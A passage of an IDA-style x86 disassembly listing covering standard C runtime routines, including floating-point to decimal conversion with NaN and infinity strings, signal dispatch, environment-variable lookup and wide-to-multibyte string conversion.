off_4216A9	dd offset loc_421272	; DATA XREF: sub_421208+63r
		dd offset loc_4212C1	; jump table for switch	statement
		dd offset loc_421318
		dd offset loc_421342
		dd offset loc_42139D
		dd offset loc_421414
		dd offset loc_42144A
		dd offset loc_421494
		dd offset loc_421473
		dd offset loc_4214F8
		dd offset loc_4214E2
		dd offset loc_4214AE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216D9	proc near		; CODE XREF: sub_420477+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_42173B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_42173F
; ---------------------------------------------------------------------------

loc_42173B:				; CODE XREF: sub_4216D9+5Aj
		mov	byte ptr [ebx+2], 20h

loc_42173F:				; CODE XREF: sub_4216D9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421765
		test	edi, edi
		jnz	short loc_421765
		cmp	[ebp+arg_0], edi
		jnz	short loc_421765

loc_421750:				; CODE XREF: sub_4216D9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421963
; ---------------------------------------------------------------------------

loc_421765:				; CODE XREF: sub_4216D9+6Cj
					; sub_4216D9+70j ...
		cmp	dx, si
		jnz	short loc_4217E4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_42177E
		cmp	[ebp+arg_0], 0
		jz	short loc_42178D

loc_42177E:				; CODE XREF: sub_4216D9+9Dj
		test	edi, 40000000h
		jnz	short loc_42178D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4217D3
; ---------------------------------------------------------------------------

loc_42178D:				; CODE XREF: sub_4216D9+A3j
					; sub_4216D9+ABj
		test	cx, cx
		jz	short loc_4217A7
		cmp	edi, 0C0000000h
		jnz	short loc_4217A7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4217CE
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------

loc_4217A7:				; CODE XREF: sub_4216D9+B7j
					; sub_4216D9+BFj
		cmp	edi, eax
		jnz	short loc_4217CE
		cmp	[ebp+arg_0], 0
		jnz	short loc_4217CE
		push	offset a1Inf	; "1#INF"

loc_4217B6:				; CODE XREF: sub_4216D9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4176C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4217C5:				; CODE XREF: sub_4216D9+109j
		and	[ebp+var_4], 0
		jmp	loc_42193C
; ---------------------------------------------------------------------------

loc_4217CE:				; CODE XREF: sub_4216D9+C5j
					; sub_4216D9+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4217D3:				; CODE XREF: sub_4216D9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4176C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4217C5
; ---------------------------------------------------------------------------

loc_4217E4:				; CODE XREF: sub_4216D9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421DF1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421845
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421BD1
		pop	ecx
		pop	ecx

loc_421845:				; CODE XREF: sub_4216D9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_42185F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421862
		jmp	loc_421750
; ---------------------------------------------------------------------------

loc_42185F:				; CODE XREF: sub_4216D9+173j
		mov	edi, [ebp+arg_C]

loc_421862:				; CODE XREF: sub_4216D9+17Fj
		cmp	edi, 15h
		jle	short loc_42186A
		push	15h
		pop	edi

loc_42186A:				; CODE XREF: sub_4216D9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_421880:				; CODE XREF: sub_4216D9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4210E6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421880
		test	esi, esi
		jge	short loc_4218AA
		neg	esi
		and	esi, 0FFh
		jle	short loc_4218AA

loc_42189D:				; CODE XREF: sub_4216D9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421114
		dec	esi
		pop	ecx
		jnz	short loc_42189D

loc_4218AA:				; CODE XREF: sub_4216D9+1B8j
					; sub_4216D9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421907
		mov	[ebp+arg_C], ecx

loc_4218BA:				; CODE XREF: sub_4216D9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4210E6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4210E6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421088
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4210E6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4218BA
		mov	eax, [ebp+arg_14]

loc_421907:				; CODE XREF: sub_4216D9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421944

loc_421914:				; CODE XREF: sub_4216D9+248j
		cmp	eax, ecx
		jb	short loc_421927
		cmp	byte ptr [eax],	39h
		jnz	short loc_421923
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421914
; ---------------------------------------------------------------------------

loc_421923:				; CODE XREF: sub_4216D9+242j
		cmp	eax, ecx
		jnb	short loc_42192B

loc_421927:				; CODE XREF: sub_4216D9+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_42192B:				; CODE XREF: sub_4216D9+24Cj
		inc	byte ptr [eax]

loc_42192D:				; CODE XREF: sub_4216D9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_42193C:				; CODE XREF: sub_4216D9+F0j
		mov	eax, [ebp+var_4]

loc_42193F:				; CODE XREF: sub_4216D9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421944:				; CODE XREF: sub_4216D9+239j
					; sub_4216D9+275j
		cmp	eax, ecx
		jb	short loc_421954
		cmp	byte ptr [eax],	30h
		jnz	short loc_421950
		dec	eax
		jmp	short loc_421944
; ---------------------------------------------------------------------------

loc_421950:				; CODE XREF: sub_4216D9+272j
		cmp	eax, ecx
		jnb	short loc_42192D

loc_421954:				; CODE XREF: sub_4216D9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_421963:				; CODE XREF: sub_4216D9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_42193F
sub_4216D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42196C	proc near		; CODE XREF: sub_41D1FC+345Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4219D3
		dec	eax
		dec	eax
		jz	short loc_4219C4
		sub	eax, 4
		jz	short loc_4219C4
		sub	eax, 3
		jz	short loc_4219C4
		sub	eax, 4
		jz	short loc_4219B7
		sub	eax, 6
		jz	short loc_4219AA
		dec	eax
		jz	short loc_42199D
		or	eax, 0FFFFFFFFh
		jmp	loc_421A95
; ---------------------------------------------------------------------------

loc_42199D:				; CODE XREF: sub_42196C+27j
		mov	esi, dword_48978C
		mov	eax, offset dword_48978C
		jmp	short loc_4219DE
; ---------------------------------------------------------------------------

loc_4219AA:				; CODE XREF: sub_42196C+24j
		mov	esi, dword_489788
		mov	eax, offset dword_489788
		jmp	short loc_4219DE
; ---------------------------------------------------------------------------

loc_4219B7:				; CODE XREF: sub_42196C+1Fj
		mov	esi, dword_489790
		mov	eax, offset dword_489790
		jmp	short loc_4219DE
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42196C+10j
					; sub_42196C+15j ...
		push	edi
		call	sub_421A99
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4219DE
; ---------------------------------------------------------------------------

loc_4219D3:				; CODE XREF: sub_42196C+Cj
		mov	esi, dword_489784
		mov	eax, offset dword_489784

loc_4219DE:				; CODE XREF: sub_42196C+3Cj
					; sub_42196C+49j ...
		cmp	esi, 1
		jnz	short loc_4219EA
		xor	eax, eax
		jmp	loc_421A95
; ---------------------------------------------------------------------------

loc_4219EA:				; CODE XREF: sub_42196C+75j
		test	esi, esi
		jnz	short loc_4219F5
		push	3
		call	sub_4197F6

loc_4219F5:				; CODE XREF: sub_42196C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421A07
		cmp	edi, 0Bh
		jz	short loc_421A07
		cmp	edi, 4
		jnz	short loc_421A2D

loc_421A07:				; CODE XREF: sub_42196C+8Fj
					; sub_42196C+94j
		mov	ebx, dword_489560
		and	dword_489560, 0
		cmp	edi, ecx
		jnz	short loc_421A5C
		mov	edx, dword_43B0FC
		mov	dword_43B0FC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421A30
; ---------------------------------------------------------------------------

loc_421A2D:				; CODE XREF: sub_42196C+99j
		mov	ebx, [ebp+arg_0]

loc_421A30:				; CODE XREF: sub_42196C+BFj
		cmp	edi, ecx
		jnz	short loc_421A5C
		mov	eax, dword_43B0F0
		mov	ecx, dword_43B0F4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421A63
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43B080h[edx*4]

loc_421A51:				; CODE XREF: sub_42196C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421A51
		jmp	short loc_421A63
; ---------------------------------------------------------------------------

loc_421A5C:				; CODE XREF: sub_42196C+AAj
					; sub_42196C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421A71

loc_421A63:				; CODE XREF: sub_42196C+D7j
					; sub_42196C+EEj
		push	dword_43B0FC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421A7F
; ---------------------------------------------------------------------------

loc_421A71:				; CODE XREF: sub_42196C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421A7F
		cmp	edi, 4
		jnz	short loc_421A92

loc_421A7F:				; CODE XREF: sub_42196C+103j
					; sub_42196C+10Cj
		cmp	edi, 8
		mov	dword_489560, ebx
		jnz	short loc_421A92
		mov	eax, [ebp+arg_0]
		mov	dword_43B0FC, eax

loc_421A92:				; CODE XREF: sub_42196C+111j
					; sub_42196C+11Cj
		xor	eax, eax
		pop	ebx

loc_421A95:				; CODE XREF: sub_42196C+2Cj
					; sub_42196C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_42196C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421A99	proc near		; CODE XREF: sub_42196C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B0F8
		cmp	dword_43B07C, edx
		push	esi
		mov	eax, offset dword_43B078
		jz	short loc_421AC7
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B078h[esi*4]

loc_421ABB:				; CODE XREF: sub_421A99+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421AC7
		cmp	[eax+4], edx
		jnz	short loc_421ABB

loc_421AC7:				; CODE XREF: sub_421A99+16j
					; sub_421A99+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B078h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421ADB
		cmp	[eax+4], edx
		jz	short locret_421ADD

loc_421ADB:				; CODE XREF: sub_421A99+3Bj
		xor	eax, eax

locret_421ADD:				; CODE XREF: sub_421A99+40j
		retn
sub_421A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADE	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4

		cmp	dword_48AB30, 0
		push	ebx
		push	esi
		mov	esi, dword_4894D4
		push	edi
		jz	short loc_421B55
		test	esi, esi
		jnz	short loc_421B0F
		cmp	dword_4894DC, esi
		jz	short loc_421B55
		call	sub_421EAC
		test	eax, eax
		jnz	short loc_421B55
		mov	esi, dword_4894D4
		test	esi, esi
		jz	short loc_421B55

loc_421B0F:				; CODE XREF: sub_421ADE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421B55
		push	ebx
		call	sub_4177B0
		pop	ecx
		mov	edi, eax

loc_421B20:				; CODE XREF: sub_421ADE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421B55
		push	eax
		call	sub_4177B0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421B48
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421B48
		push	edi
		push	ebx
		push	eax
		call	sub_421E6D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421B4D

loc_421B48:				; CODE XREF: sub_421ADE+51j
					; sub_421ADE+59j
		add	esi, 4
		jmp	short loc_421B20
; ---------------------------------------------------------------------------

loc_421B4D:				; CODE XREF: sub_421ADE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421B57
; ---------------------------------------------------------------------------

loc_421B55:				; CODE XREF: sub_421ADE+10j
					; sub_421ADE+1Cj ...
		xor	eax, eax

loc_421B57:				; CODE XREF: sub_421ADE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B5B	proc near		; CODE XREF: sub_420F21+8Bp
					; sub_420F21+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48A8E0
		jnb	short loc_421BC2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48A7E0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421BC2
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421B9B
		and	cl, 7Fh
		jmp	short loc_421BA8
; ---------------------------------------------------------------------------

loc_421B9B:				; CODE XREF: sub_421B5B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421BB6
		or	cl, 80h

loc_421BA8:				; CODE XREF: sub_421B5B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421BB6:				; CODE XREF: sub_421B5B+48j
		mov	dword_4894AC, 16h
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------

loc_421BC2:				; CODE XREF: sub_421B5B+Bj
					; sub_421B5B+27j
		mov	dword_4894AC, 9

loc_421BCC:				; CODE XREF: sub_421B5B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BD1	proc near		; CODE XREF: sub_4216D9+165p
					; sub_421DF1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_421DD1
		cmp	cx, 7FFFh
		jnb	loc_421DD1
		cmp	dx, 0BFFDh
		ja	loc_421DD1
		cmp	dx, 3FBFh
		ja	short loc_421C3A
		xor	eax, eax
		jmp	short loc_421C74
; ---------------------------------------------------------------------------

loc_421C3A:				; CODE XREF: sub_421BD1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421C5C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421C5C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421C5E
		cmp	[esi], eax
		jnz	short loc_421C5E
		jmp	loc_421DCB
; ---------------------------------------------------------------------------

loc_421C5C:				; CODE XREF: sub_421BD1+71j
					; sub_421BD1+79j
		xor	eax, eax

loc_421C5E:				; CODE XREF: sub_421BD1+80j
					; sub_421BD1+84j
		cmp	cx, ax
		jnz	short loc_421C81
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421C81
		cmp	[ebx+4], eax
		jnz	short loc_421C81
		cmp	[ebx], eax
		jnz	short loc_421C81

loc_421C74:				; CODE XREF: sub_421BD1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_421DEC
; ---------------------------------------------------------------------------

loc_421C81:				; CODE XREF: sub_421BD1+90j
					; sub_421BD1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421C91:				; CODE XREF: sub_421BD1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421CE5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421CAD:				; CODE XREF: sub_421BD1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421067
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421CD8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421CD8:				; CODE XREF: sub_421BD1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421CAD

loc_421CE5:				; CODE XREF: sub_421BD1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421C91
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421D28

loc_421D03:				; CODE XREF: sub_421BD1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421D21
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4210E6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421D03

loc_421D21:				; CODE XREF: sub_421BD1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421D61

loc_421D28:				; CODE XREF: sub_421BD1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_421D61
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_421D41:				; CODE XREF: sub_421BD1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_421D4A
		inc	[ebp+var_14]

loc_421D4A:				; CODE XREF: sub_421BD1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_421114
		dec	ebx
		pop	ecx
		jnz	short loc_421D41
		cmp	[ebp+var_14], 0
		jz	short loc_421D61
		or	byte ptr [ebp+var_24], 1

loc_421D61:				; CODE XREF: sub_421BD1+155j
					; sub_421BD1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_421D78
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_421DAD

loc_421D78:				; CODE XREF: sub_421BD1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_421DAA
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_421DA5
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_421D9F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D9F:				; CODE XREF: sub_421BD1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421DA5:				; CODE XREF: sub_421BD1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421DAA:				; CODE XREF: sub_421BD1+1ABj
		inc	[ebp+var_24+2]

loc_421DAD:				; CODE XREF: sub_421BD1+1A5j
					; sub_421BD1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_421DD1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_421DCB:				; CODE XREF: sub_421BD1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_421DEC
; ---------------------------------------------------------------------------

loc_421DD1:				; CODE XREF: sub_421BD1+42j
					; sub_421BD1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_421DEC:				; CODE XREF: sub_421BD1+ABj
					; sub_421BD1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DF1	proc near		; CODE XREF: sub_421208+440p
					; sub_4216D9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43B570
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_421E6A
		jge	short loc_421E19
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B6D0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_421E19:				; CODE XREF: sub_421DF1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_421E24
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_421E24:				; CODE XREF: sub_421DF1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_421E6A
		push	esi
		push	edi

loc_421E2B:				; CODE XREF: sub_421DF1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_421E63
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_421E56
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_421E56:				; CODE XREF: sub_421DF1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421BD1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_421E63:				; CODE XREF: sub_421DF1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_421E2B
		pop	edi
		pop	esi

loc_421E6A:				; CODE XREF: sub_421DF1+14j
					; sub_421DF1+36j
		pop	ebx
		leave
		retn
sub_421DF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E6D	proc near		; CODE XREF: sub_421ADE+5Ep
					; sub_42231E+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_421E7A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421E7A:				; CODE XREF: sub_421E6D+7j
		push	dword_48A8E4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48AB04
		call	sub_421F1A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421EA7
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421EA7:				; CODE XREF: sub_421E6D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_421E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EAC	proc near		; CODE XREF: sub_421ADE+1Ep
					; sub_422197+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4894DC
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_421F0D
		mov	ebx, dword_423150

loc_421EC5:				; CODE XREF: sub_421EAC+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_421F15
		push	ebp
		call	sub_417889
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_421F15
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_421F15
		push	edi
		push	[esp+18h+var_4]
		call	sub_422197
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_421EC5

loc_421F0D:				; CODE XREF: sub_421EAC+11j
		xor	eax, eax

loc_421F0F:				; CODE XREF: sub_421EAC+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_421F15:				; CODE XREF: sub_421EAC+29j
					; sub_421EAC+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_421F0F
sub_421EAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F1A	proc near		; CODE XREF: sub_421E6D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
